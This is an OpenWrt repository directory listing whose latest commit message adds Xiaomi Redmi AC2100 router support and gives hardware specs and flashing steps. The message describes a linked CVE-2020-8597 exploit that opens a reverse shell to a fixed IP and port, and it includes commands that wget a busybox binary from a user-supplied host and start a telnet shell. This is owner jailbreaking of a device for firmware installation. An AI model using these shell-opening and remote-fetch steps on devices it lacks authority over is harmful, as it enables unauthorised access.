You cannot select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
openwrt/package/boot
Richard Huynh f3792690c4 ramips: Add support for Xiaomi Redmi Router AC2100 (RM2100)
Specification:
- CPU: MediaTek MT7621A
- RAM: 128 MB DDR3
- FLASH: 128 MB ESMT NAND
- WIFI: 2x2 802.11bgn (MT7603)
- WIFI: 4x4 802.11ac (MT7615)
- ETH: 3xLAN+1xWAN 1000base-T
- LED: Power, WAN, in Amber and White
- UART: On board near ethernet, opposite side from power
- Modified u-boot

Installation:

1. Run linked exploit to get shell, startup telnet and wget the files over
2. mtd write openwrt-ramips-mt7621-xiaomi_rm2100-squashfs-kernel1.bin kernel1
3. nvram set uart_en=1
4. nvram set bootdelay=5
5. nvram set flag_try_sys1_failed=1
6. nvram commit
7. mtd -r write openwrt-ramips-mt7621-xiaomi_rm2100-squashfs-rootfs0.bin rootfs0

Restore to stock:

1. Setup PXE and TFTP server serving stock firmware image
(See dhcp-boot option of dnsmasq)
2. Hold reset button down before powering on and wait for flashing amber led
3. Release reset button
4. Wait until status led changes from flashing amber to white

Notes:
This device has dual kernel and rootfs slots like other Xiaomi devices currently
supported (mir3g, etc.) thus, we use the second slot and overwrite the first
rootfs onwards in order to get more space.

Exploit and detailed instructions:

https://openwrt.org/toh/xiaomi/xiaomi_redmi_router_ac2100

An implementation of CVE-2020-8597 against stock firmware version 1.0.14

This requires a computer with ethernet plugged into the wan port and an active
PPPoE session, and if successful will open a reverse shell to 192.168.31.177
on port 31337.

As this shell is somewhat unreliable and likely to be killed in a random amount
of time, it is recommended to wget a static compiled busybox binary onto the
device and start telnetd with it.

The stock telnetd and dropbear unfortunately appear inoperable.
(Disabled on release versions of stock firmware likely)
Ie. wget https://yourip/busybox-mipsel -O /tmp/busybox
chmod a+x /tmp/busybox
/tmp/busybox telnetd -l /bin/sh

Tested-by: David Martinez <bonkilla@gmail.com>
Signed-off-by: Richard Huynh <voxlympha@gmail.com>
4 years ago
..
arm-trusted-firmware-mvebu packages/boot: bump arm-trusted-firmware-mvebu version 4 years ago
arm-trusted-firmware-rockchip arm-trusted-firmware-rockchip: add new package 4 years ago
arm-trusted-firmware-sunxi arm-trusted-firmware-sunxi: Replace with official ARM version 5 years ago
at91bootstrap at91bootstrap: add sama5d27_som1_eksd1_uboot as default defconfig 5 years ago
fconfig fconfig: cleanup Makefile 5 years ago
grub2 grub2: fix build when ASLR enabled 4 years ago
imx-bootlets treewide: clean up download hashes 7 years ago
kexec-tools x86: make crashdump works 4 years ago
kobs-ng kobs-ng: add header for integer definitions 7 years ago
rbcfg rbcfg: Add missing mode to open call 4 years ago
tfa-layerscape layerscape: update tfa to LSDK-20.04 4 years ago
uboot-ar71xx uboot-ar71xx: fix musl host build 5 years ago
uboot-at91 uboot-at91: fix -Wformat-security 5 years ago
uboot-envtools ramips: Add support for Xiaomi Redmi Router AC2100 (RM2100) 4 years ago
uboot-fritz4040 ipq40xx: add support for AVM FRITZ!Repeater 1200 5 years ago
uboot-imx6 uboot-imx6: bump to 2020.04 release 4 years ago
uboot-kirkwood uboot-kirkwood: update to 2020.04 4 years ago
uboot-lantiq uboot-lantiq: fix compile with modern host dtc 6 years ago
uboot-layerscape layerscape: update u-boot to LSDK-20.04 4 years ago
uboot-mediatek mediatek: add uboot 4 years ago
uboot-mvebu mvebu: uDPU: switch default kernel and U-Boot PHY mode 4 years ago
uboot-mxs uboot-mxs: bump to v2020.01 4 years ago
uboot-omap omap: support booting off different mmc devices 5 years ago
uboot-oxnas uboot-oxnas: fix memory leak in tool mkox820crc 4 years ago
uboot-rockchip uboot-rockchip: fix ident string 4 years ago
uboot-sunxi uboot-sunxi: bump to 2020.04 relase 4 years ago
uboot-tegra tegra: add vendor string to device name 5 years ago
uboot-zynq uboot-zynq: update to 2019.07 5 years ago